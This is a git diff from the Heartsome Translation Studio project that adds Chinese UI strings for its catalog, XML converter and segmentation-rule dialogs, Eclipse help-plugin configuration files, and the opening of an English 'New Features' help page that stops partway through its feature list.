+dialogs.AddOrEditCatalogDialog.uriBtn = URI +dialogs.AddOrEditCatalogDialog.nextCataBtn = nextCatalog +dialogs.AddOrEditCatalogDialog.idLbl = ID\uff1a +dialogs.AddOrEditCatalogDialog.urlLbl = \u6587\u4ef6 URL\uff1a +dialogs.AddOrEditCatalogDialog.browseBtn = \u6d4f\u89c8(&B)... +dialogs.AddOrEditCatalogDialog.msgTitle = \u63d0\u793a +dialogs.AddOrEditCatalogDialog.msg1 = \u8bf7\u9009\u62e9 Catalog \u7c7b\u578b\u3002 +dialogs.AddOrEditCatalogDialog.msg2 = \u6dfb\u52a0 Catalog \u65f6\u51fa\u9519\u3002 +dialogs.AddOrEditCatalogDialog.dialogMsg = \u8bf7\u9009\u62e9 Catalog \u6587\u4ef6\u3002 +dialogs.AddOrEditCatalogDialog.dialogTitle = \u6253\u5f00\u6587\u4ef6\u5939 + +# \u9ad8\u7ea7 > XML \u8f6c\u6362\u5668 +dialogs.XmlConverterConfigurationDialog.title = XML \u8f6c\u6362\u5668\u914d\u7f6e +dialogs.XmlConverterConfigurationDialog.addBtn = \u6dfb\u52a0(&A) +dialogs.XmlConverterConfigurationDialog.editBtn = \u7f16\u8f91(&E) +dialogs.XmlConverterConfigurationDialog.deleteBtn = \u5220\u9664(&D) +dialogs.XmlConverterConfigurationDialog.analysisBtn = \u5206\u6790 XML \u6587\u4ef6\u6837\u672c(&N) +dialogs.XmlConverterConfigurationDialog.cancel = \u5173\u95ed +dialogs.XmlConverterConfigurationDialog.columnNames1 = \u5e8f\u53f7 +dialogs.XmlConverterConfigurationDialog.columnNames2 = \u914d\u7f6e\u6587\u4ef6 +dialogs.XmlConverterConfigurationDialog.msgTitle = \u63d0\u793a +dialogs.XmlConverterConfigurationDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684 XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6\u3002 +dialogs.XmlConverterConfigurationDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684 XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91 XML \u914d\u7f6e +dialogs.AddOrEditXmlConvertConfigDialog.title1 = \u6dfb\u52a0 XML \u8f6c\u6362\u5668\u914d\u7f6e +dialogs.AddOrEditXmlConvertConfigDialog.title2 = \u7f16\u8f91 XML \u8f6c\u6362\u5668\u914d\u7f6e +dialogs.AddOrEditXmlConvertConfigDialog.addBtn = \u6dfb\u52a0\u914d\u7f6e(&A) +dialogs.AddOrEditXmlConvertConfigDialog.editBtn = \u7f16\u8f91\u914d\u7f6e(&E) +dialogs.AddOrEditXmlConvertConfigDialog.deleteBtn = \u5220\u9664\u914d\u7f6e(&D) +dialogs.AddOrEditXmlConvertConfigDialog.ok = \u4fdd\u5b58(&S) +dialogs.AddOrEditXmlConvertConfigDialog.cancel = \u53d6\u6d88 +dialogs.AddOrEditXmlConvertConfigDialog.rootLbl = \u6839\u5143\u7d20\uff1a +dialogs.AddOrEditXmlConvertConfigDialog.textLbl = \u5c06\u88ab\u4fdd\u5b58\u5230\uff1a +dialogs.AddOrEditXmlConvertConfigDialog.msgTitle1 = \u63d0\u793a +dialogs.AddOrEditXmlConvertConfigDialog.msg1 = \u8bf7\u8f93\u5165\u6839\u5143\u7d20\u540d\u79f0\u3002 +dialogs.AddOrEditXmlConvertConfigDialog.msg2 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialogs.AddOrEditXmlConvertConfigDialog.msgTitle2 = \u786e\u8ba4 +dialogs.AddOrEditXmlConvertConfigDialog.msg3 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialogs.AddOrEditXmlConvertConfigDialog.msg4 = \u7f16\u8f91\u540e\u7684 XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialogs.AddOrEditXmlConvertConfigDialog.msg5 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff0c\u8bf7\u5220\u9664\u8be5\u914d\u7f6e\u540e\u91cd\u65b0\u6dfb\u52a0\u3001\u6216\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\u3002 +dialogs.XmlConvertManagerDialog.columnNames1 = \u5143\u7d20 +dialogs.XmlConvertManagerDialog.columnNames2 = \u5143\u7d20\u7c7b\u578b +dialogs.XmlConvertManagerDialog.columnNames3 = \u5185\u8054\u7c7b\u578b +dialogs.XmlConvertManagerDialog.columnNames4 = \u53ef\u7ffb\u8bd1\u5c5e\u6027 +dialogs.XmlConvertManagerDialog.columnNames5 = \u4fdd\u7559\u7a7a\u683c +dialogs.XmlConvertManagerDialog.msgTitle1 = \u786e\u8ba4 +dialogs.XmlConvertManagerDialog.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u5143\u7d20\u5417\uff1f +dialogs.XmlConvertManagerDialog.msgTitle2 = \u63d0\u793a +dialogs.XmlConvertManagerDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u5143\u7d20\u3002 +dialogs.XmlConvertManagerDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u5143\u7d20\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91 XML \u5143\u7d20\u914d\u7f6e +dialogs.AddOrEditElementOfXmlConvertDialog.title = \u5143\u7d20\u914d\u7f6e +dialogs.AddOrEditElementOfXmlConvertDialog.ok = \u4fdd\u5b58 +dialogs.AddOrEditElementOfXmlConvertDialog.nameLbl = \u5143\u7d20\u540d\u79f0\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.typeLbl = \u5143\u7d20\u7c7b\u578b\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.inlineLbl = \u5185\u8054\u7c7b\u578b\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.transAttriLbl = \u53ef\u7ffb\u8bd1\u5c5e\u6027\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.remainSpaceLbl = \u4fdd\u7559\u7a7a\u683c\uff1a +dialogs.AddOrEditElementOfXmlConvertDialog.msgTitle1 = \u786e\u8ba4 +dialogs.AddOrEditElementOfXmlConvertDialog.msg1 = \u5143\u7d20 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialogs.AddOrEditElementOfXmlConvertDialog.msgTitle2 = \u63d0\u793a +dialogs.AddOrEditElementOfXmlConvertDialog.msg2 = \u8bf7\u8f93\u5165\u5143\u7d20\u540d\u3002 + +# \u5206\u6790 XML \u6587\u4ef6\u6837\u672c +dialogs.AnalysisXmlConvertConfigDialg.title = \u5206\u6790 XML \u6587\u4ef6\u6837\u672c +dialogs.AnalysisXmlConvertConfigDialg.addBtn = \u6dfb\u52a0(&A) +dialogs.AnalysisXmlConvertConfigDialg.editBtn = \u7f16\u8f91(&E) +dialogs.AnalysisXmlConvertConfigDialg.deleteBtn = \u5220\u9664(&D) +dialogs.AnalysisXmlConvertConfigDialg.ok = \u4fdd\u5b58(&S) +dialogs.AnalysisXmlConvertConfigDialg.cancel = \u53d6\u6d88 +dialogs.AnalysisXmlConvertConfigDialg.analysisXmlLbl = XML \u6587\u4ef6\u6837\u672c\uff1a +dialogs.AnalysisXmlConvertConfigDialg.browseBtn = \u6d4f\u89c8(&B)... +dialogs.AnalysisXmlConvertConfigDialg.rootLbl = \u6839\u5143\u7d20\uff1a +dialogs.AnalysisXmlConvertConfigDialg.textLbl = \u5c06\u88ab\u4fdd\u5b58\u5230\uff1a +dialogs.AnalysisXmlConvertConfigDialg.msgTitle = \u63d0\u793a +dialogs.AnalysisXmlConvertConfigDialg.msg1 = \u8bf7\u8f93\u5165\u6839\u5143\u7d20\u540d\u79f0\u3002 +dialogs.AnalysisXmlConvertConfigDialg.msg2 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialogs.AnalysisXmlConvertConfigDialg.filterXML = XML \u6587\u4ef6 [*.xml] +dialogs.AnalysisXmlConvertConfigDialg.filterAll = \u6240\u6709\u6587\u4ef6 [*.*] +dialogs.AnalysisXmlConvertConfigDialg.fdTitle = XML \u6587\u4ef6\u6837\u672c +dialogs.AnalysisXmlConvertConfigDialg.msgTitle2 = \u786e\u8ba4 +dialogs.AnalysisXmlConvertConfigDialg.msg3 = XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialogs.AnalysisXmlConvertConfigDialg.msg4 = \u6240\u9009\u62e9\u7684\u6587\u4ef6\u4e0d\u7b26\u5408 XML \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 XML \u6587\u4ef6\u6837\u672c\u3002 +dialogs.AnalysisXmlConvertConfigDialg.msg5 = \u6240\u9009\u62e9\u7684\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +dialogs.AnalysisXmlConvertConfigDialg.msg6 = \u6240\u9009\u62e9\u7684\u6587\u4ef6 {0} \u4e0d\u7b26\u5408 XML \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 XML \u6587\u4ef6\u6837\u672c\u3002 + +# \u9ad8\u7ea7 > \u5206\u6bb5\u89c4\u5219 +srx.SrxConfigurationDialog.title = \u5206\u6bb5\u89c4\u5219\u7ba1\u7406\u5668 +srx.SrxConfigurationDialog.addBtn = \u6dfb\u52a0(&A) +srx.SrxConfigurationDialog.editBtn = \u7f16\u8f91(&E) +srx.SrxConfigurationDialog.deleteBtn = \u5220\u9664(&D) +srx.SrxConfigurationDialog.cancel = \u5173\u95ed +srx.SrxConfigurationDialog.columnNames1 = \u5e8f\u53f7 +srx.SrxConfigurationDialog.columnNames2 = \u914d\u7f6e\u6587\u4ef6 +srx.SrxConfigurationDialog.msgTitle1 = \u786e\u8ba4 +srx.SrxConfigurationDialog.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u5206\u6bb5\u89c4\u5219\u5417? +srx.SrxConfigurationDialog.msgTitle2 = \u63d0\u793a +srx.SrxConfigurationDialog.msg2 = \u65e0\u6cd5\u5220\u9664\u9009\u4e2d\u7684\u5206\u6bb5\u89c4\u5219 {0}\uff0c\u8bf7\u91cd\u8bd5\u3002 +srx.SrxConfigurationDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u5206\u6bb5\u89c4\u5219\u3002 +srx.SrxConfigurationDialog.msg4 = \u4e0d\u80fd\u4fee\u6539\u6216\u5220\u9664\u7cfb\u7edf\u5185\u7f6e\u5206\u6bb5\u89c4\u5219\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91\u5206\u6bb5\u89c4\u5219 +srx.CreateOrUpdataSRXDialog.title1 = \u6dfb\u52a0\u5206\u6bb5\u89c4\u5219 +srx.CreateOrUpdataSRXDialog.title2 = \u4fee\u6539\u5206\u6bb5\u89c4\u5219 +srx.CreateOrUpdataSRXDialog.nameLbl = \u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u540d\uff1a +srx.CreateOrUpdataSRXDialog.msgTitle1 = \u63d0\u793a +srx.CreateOrUpdataSRXDialog.msg1 = \u8bf7\u8f93\u5165\u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u540d\u3002 +srx.CreateOrUpdataSRXDialog.msg2 = \u8bf7\u4f7f\u7528 .srx \u4f5c\u4e3a\u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u7684\u540e\u7f00\u540d\u3002 +srx.CreateOrUpdataSRXDialog.msg3 = \u5206\u6bb5\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +srx.CreateOrUpdataSRXDialog.msgTitle2 = \u786e\u8ba4 +srx.CreateOrUpdataSRXDialog.msg4 = \u5206\u6bb5\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +# \u5206\u6bb5\u89c4\u5219\u914d\u7f6e +srx.AddOrEditSrxConfigDialog.title = \u914d\u7f6e\u5206\u6bb5\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.cancel = \u5173\u95ed +srx.AddOrEditSrxConfigDialog.nameLbl = \u6587\u4ef6\u540d +srx.AddOrEditSrxConfigDialog.groupLang = \u8bed\u8a00\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.langColumnNames1 = \u5e8f\u53f7 +srx.AddOrEditSrxConfigDialog.langColumnNames2 = \u8bed\u8a00\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.langAddBtn = \u6dfb\u52a0\u8bed\u8a00\u89c4\u5219(&A) +srx.AddOrEditSrxConfigDialog.langEditBtn = \u7f16\u8f91\u8bed\u8a00\u89c4\u5219(&E) +srx.AddOrEditSrxConfigDialog.langDeleteBtn = \u5220\u9664\u8bed\u8a00\u89c4\u5219(&D) +srx.AddOrEditSrxConfigDialog.group = \u6620\u5c04\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.columnNames1 = \u5e8f\u53f7 +srx.AddOrEditSrxConfigDialog.columnNames2 = \u6620\u5c04\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.mapAddBtn = \u6dfb\u52a0\u6620\u5c04\u89c4\u5219(&M) +srx.AddOrEditSrxConfigDialog.mapEditBtn = \u7f16\u8f91\u6620\u5c04\u89c4\u5219(&P) +srx.AddOrEditSrxConfigDialog.mapDeleteBtn = \u5220\u9664\u6620\u5c04\u89c4\u5219(&T) +srx.AddOrEditSrxConfigDialog.msgTitle1 = \u786e\u8ba4 +srx.AddOrEditSrxConfigDialog.msg1 = \u786e\u8981\u5220\u9664\u6240\u9009\u62e9\u7684\u8bed\u8a00\u89c4\u5219\u5417\uff1f +srx.AddOrEditSrxConfigDialog.msg2 = \u6240\u9009\u62e9\u7684\u8bed\u8a00\u89c4\u5219 {0} \u5df2\u7ecf\u6dfb\u52a0\u4e86\u6620\u5c04\u89c4\u5219\uff0c\u5220\u9664\u8be5\u8bed\u8a00\u89c4\u5219\u7684\u540c\u65f6\uff0c\u5176\u5bf9\u5e94\u7684\u6620\u5c04\u89c4\u5219\u4e5f\u5c06\u5168\u90e8\u88ab\u5220\u9664\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5220\u9664\u5417\uff1f +srx.AddOrEditSrxConfigDialog.msgTitle2 = \u63d0\u793a +srx.AddOrEditSrxConfigDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u8bed\u8a00\u89c4\u5219\u3002 +srx.AddOrEditSrxConfigDialog.msg4 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u7684\u6620\u5c04\u89c4\u5219\u5417\uff1f +srx.AddOrEditSrxConfigDialog.msg5 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u6620\u5c04\u89c4\u5219\u3002 +srx.AddOrEditSrxConfigDialog.msg6 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u8bed\u8a00\u89c4\u5219\u3002 +srx.AddOrEditSrxConfigDialog.msg7 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6620\u5c04\u89c4\u5219\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91\u8bed\u8a00\u89c4\u5219 +srx.AddOrEditLangRuleOfSrxDialog.title1 = \u6dfb\u52a0\u8bed\u8a00\u89c4\u5219 +srx.AddOrEditLangRuleOfSrxDialog.title2 = \u7f16\u8f91\u8bed\u8a00\u89c4\u5219 +srx.AddOrEditLangRuleOfSrxDialog.isBreakBtn = \u9700\u8981\u5206\u6bb5 +srx.AddOrEditLangRuleOfSrxDialog.preLbl = \u5206\u6bb5\u4e4b\u524d +srx.AddOrEditLangRuleOfSrxDialog.afterLbl = \u5206\u6bb5\u4e4b\u540e +srx.AddOrEditLangRuleOfSrxDialog.msgTitle1 = \u63d0\u793a +srx.AddOrEditLangRuleOfSrxDialog.msg1 = \u8be5\u8bed\u8a00\u89c4\u5219\u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +srx.AddOrEditLangRuleOfSrxDialog.msgTitle2 = \u786e\u8ba4 +srx.AddOrEditLangRuleOfSrxDialog.msg2 = \u8be5\u8bed\u8a00\u89c4\u5219\u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +srx.SrxLanguageRulesManageDialog.title = \u914d\u7f6e\u8bed\u8a00\u89c4\u5219 +srx.SrxLanguageRulesManageDialog.addBtn = \u6dfb\u52a0(&A) +srx.SrxLanguageRulesManageDialog.editBtn = \u7f16\u8f91(&E) +srx.SrxLanguageRulesManageDialog.deleteBtn = \u5220\u9664(&D) +srx.SrxLanguageRulesManageDialog.ok = \u4fdd\u5b58(&S) +srx.SrxLanguageRulesManageDialog.cancel = \u5173\u95ed +srx.SrxLanguageRulesManageDialog.nameLbl = \u540d\u79f0\uff1a +srx.SrxLanguageRulesManageDialog.columnNames1 = \u9700\u8981\u5206\u6bb5 +srx.SrxLanguageRulesManageDialog.columnNames2 = \u5206\u6bb5\u4e4b\u524d +srx.SrxLanguageRulesManageDialog.columnNames3 = \u5206\u6bb5\u4e4b\u540e +srx.SrxLanguageRulesManageDialog.msgTitle = \u63d0\u793a +srx.SrxLanguageRulesManageDialog.msg1 = \u8bf7\u8f93\u5165\u8bed\u8a00\u89c4\u5219\u540d\u79f0\u3002 +srx.SrxLanguageRulesManageDialog.msg2 = \u8be5\u8bed\u8a00\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +srx.SrxLanguageRulesManageDialog.msg3 = \u65e0\u6cd5\u6dfb\u52a0\u8bed\u8a00\u89c4\u5219\uff0c\u8bf7\u91cd\u8bd5\u3002 +srx.SrxLanguageRulesManageDialog.msgTitle2 = \u786e\u8ba4 +srx.SrxLanguageRulesManageDialog.msg4 = \u8be5\u8bed\u8a00\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +srx.SrxLanguageRulesManageDialog.msg5 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u62e9\u7684\u8bed\u8a00\u89c4\u5219\u5417? +srx.SrxLanguageRulesManageDialog.msg6 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u8bed\u8a00\u89c4\u5219\u3002 +srx.SrxLanguageRulesManageDialog.msg7 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u8bed\u8a00\u89c4\u5219\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91\u6620\u5c04\u89c4\u5219 +srx.AddOrEditMapRuleOfSrxDialog.title1 = \u6dfb\u52a0\u6620\u5c04\u89c4\u5219 +srx.AddOrEditMapRuleOfSrxDialog.title2 = \u7f16\u8f91\u6620\u5c04\u89c4\u5219 +srx.AddOrEditMapRuleOfSrxDialog.modelLbl = \u8bed\u8a00\u6a21\u5f0f\uff1a +srx.AddOrEditMapRuleOfSrxDialog.langRuleNameLbl = \u8bed\u8a00\u89c4\u5219\uff1a +srx.AddOrEditMapRuleOfSrxDialog.msgTitle1 = \u63d0\u793a +srx.AddOrEditMapRuleOfSrxDialog.msg1 = \u8bf7\u4e3a\u6620\u5c04\u89c4\u5219\u8f93\u5165\u8bed\u8a00\u6a21\u5f0f\u548c\u89c4\u5219\u3002 +srx.AddOrEditMapRuleOfSrxDialog.msg2 = \u8be5\u6620\u5c04\u89c4\u5219\u540d\u79f0\u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +srx.AddOrEditMapRuleOfSrxDialog.msgTitle2 = \u786e\u8ba4 +srx.AddOrEditMapRuleOfSrxDialog.msg3 = \u8be5\u8bed\u8a00\u89c4\u5219\u540d\u79f0\u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +srx.SrxMapRulesManageDialog.title = \u914d\u7f6e\u6620\u5c04\u89c4\u5219 +srx.SrxMapRulesManageDialog.addBtn = \u6dfb\u52a0(&A) +srx.SrxMapRulesManageDialog.editBtn = \u7f16\u8f91(&E) +srx.SrxMapRulesManageDialog.deleteBtn = \u5220\u9664(&D) +srx.SrxMapRulesManageDialog.ok = \u4fdd\u5b58(&S) +srx.SrxMapRulesManageDialog.cancel = \u5173\u95ed +srx.SrxMapRulesManageDialog.nameLbl = \u540d\u79f0\uff1a +srx.SrxMapRulesManageDialog.columnNames1 = \u8bed\u8a00\u6a21\u5f0f +srx.SrxMapRulesManageDialog.columnNames2 = \u8bed\u8a00\u89c4\u5219 +srx.SrxMapRulesManageDialog.msgTitle = \u786e\u8ba4 +srx.SrxMapRulesManageDialog.msg1 = \u786e\u8981\u5220\u9664\u9009\u62e9\u7684\u6620\u5c04\u89c4\u5219\u5417\uff1f +srx.SrxMapRulesManageDialog.msgTitle2 = \u63d0\u793a +srx.SrxMapRulesManageDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u6620\u5c04\u89c4\u5219\u3002 +srx.SrxMapRulesManageDialog.msg3 = \u8bf7\u8f93\u5165\u6620\u5c04\u89c4\u5219\u540d\u79f0\u3002 +srx.SrxMapRulesManageDialog.msg4 = \u6620\u5c04\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +srx.SrxMapRulesManageDialog.msg5 = \u65e0\u6cd5\u6dfb\u52a0\u6620\u5c04\u89c4\u5219\uff0c\u8bf7\u91cd\u8bd5\u3002 +srx.SrxMapRulesManageDialog.msg6 = \u6620\u5c04\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +handlers.CatalogManagerHandler.msgTitle = \u9519\u8bef +handlers.CatalogManagerHandler.msg = \u65e0\u6cd5\u627e\u5230\u7cfb\u7edf\u6587\u4ef6\uff1acatalogue.xml\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handlers.SRXConfigrationHandler.msgTitle = \u9519\u8bef +handlers.SRXConfigrationHandler.msg = \u65e0\u6cd5\u627e\u5230\u5206\u6bb5\u89c4\u5219\u914d\u7f6e (SRX) \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\u3002 +handlers.XmlConverterConfigurationHandler.msgTitle = \u9519\u8bef +handlers.XmlConverterConfigurationHandler.msg = \u65e0\u6cd5\u627e\u5230 XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\u3002 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.help/.classpath b/ts/net.heartsome.cat.ts.ui.help/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/.project b/ts/net.heartsome.cat.ts.ui.help/.project new file mode 100644 index 0000000..19475e4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.ui.help + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.ui.help/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.ui.help/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.ui.help/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.ui.help/META-INF/MANIFEST.MF new file mode 100644 index 0000000..951d7ac --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/META-INF/MANIFEST.MF @@ -0,0 +1,16 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS UI Help +Bundle-SymbolicName: net.heartsome.cat.ts.ui.help;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130419 +Bundle-Activator: net.heartsome.cat.ts.ui.help.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + org.eclipse.help.ui;bundle-version="3.5.100", + net.heartsome.cat.common.core;bundle-version="8.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Localization: plugin +Bundle-ClassPath: ., + src/ +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.ui.help/build.properties b/ts/net.heartsome.cat.ts.ui.help/build.properties new file mode 100644 index 0000000..1287e50 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/build.properties @@ -0,0 +1,12 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + html/,\ + toc/,\ + plugin_zh.properties,\ + plugin_en.properties,\ + plugin.properties,\ + build.properties,\ + img/ diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch01.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch01.html new file mode 100644 index 0000000..83320f4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch01.html @@ -0,0 +1,166 @@ + + + +New Features + + + + + + + +
    +

    +New Features

    + + +

    Heartsome Translation Studio Release 8 provides a range of exciting + new features. Some of the major new features are listed below:

    + +
      +
    1. +

      All-new integrated interface

      + +

      Centralized implementation of the entire workflow from file + preparation to post-translation processing, all within the same + integrated interface.

      +
    2. +
    3. +

      All-new project management features

      + +

      Centralised management of project-related files including source + files, target files, intermediate XLIFF working files, TMX translation + memory exchange files and word-count analysis reports. This enables + systematic management of projects files for improved working and + management efficiency.

      +
    4. +
    5. +

      Ability to open multiple XLIFF files as a merged + set

      + +

      Multiple XLIFF files can be easily combined and opened in one + editing window as if working with a single file. This eliminates the + need to frequently merge or split the files and so achieves a greater + level of freedom and flexibility.

      +
    6. +
    7. +

      All-new XLIFF editor

      + +

      The form-style XLIFF editor enables a full view of the entire + file. Two views available: portrait and landscape.

      +
    8. +
    9. +

      Integrated interface for translation memory (TM) and + termbase management

      + +

      All your TMs and termbases can be managed in one interface, with + all your database server connection history saved + automatically.

      +
    10. +
    11. +

      More file formats supported

      + +

      Heartsome Translation Studio Release 8 supports an additional + range of file formats including MIF files from various versions of + (Adobe FrameMaker 7/8/9/10), Adobe InDesign IDML files, and SDL Trados + XLIFF, Déjà Vu XLIFF files and Wordfast Pro TXML. Also, its converter + has been redeveloped for such files as Microsoft Office 2007/2010 + files, HTML, and SDL Trados TagEditor TTX files, enabling more + accurate extraction of translatable texts into XLIFF and thereby + improving the quality of localisation projects. With improved file + format support in Heartsome Translation Studio, users can easily and + painlessly migrate to Heartsome's working environment.

      +
    12. +
    13. +

      All-new efficient XML parser

      + +

      Significantly speeds up opening and processing of files, and + reduces waiting time leading to greater productivity.

      +
    14. +
    15. +

      Batch conversion of files

      + +

      When converting source files to or from XLIFF, it is possible to + choose a single file to convert or multiple files for batch + conversion.

      +
    16. +
    17. +

      Innovative machine translation (MT) pre-store + feature

      + +

      Supports pre-translation of multiple XLIFF files and can + directly pre-store MT results in XLIFF files: an industry first. + Pre-stored machine translations are similar to TM matches in that they + are used as reference during translation. Users do not have to wait + for web-returned machine translation (MT) or pay for the extra traffic + costs associated with repeated access to MT.

      +
    18. +
    19. +

      More MT engines supported

      + +

      At present, the two MT engines supported are Google Translate + API v2 and Bing Translator, with more options to be supported in the + future.

      +
    20. +
    21. +

      Visible and text segment based + segmentation

      + +

      Text segments can be viewed in the XLIFF editor to help decide + where the file can be further segmented into even smaller pieces. This + means the localisation project may be more easily assigned based on + chapters or sections.

      +
    22. +
    23. +

      Enhanced quick translation functionality, supporting + replacement of multiple terms

      + +

      Enhanced Example Based Machine Translation (EBMT), supporting + replacement of multiple terms all at once from one match.

      +
    24. +
    25. +

      More flexible QA checks

      + +

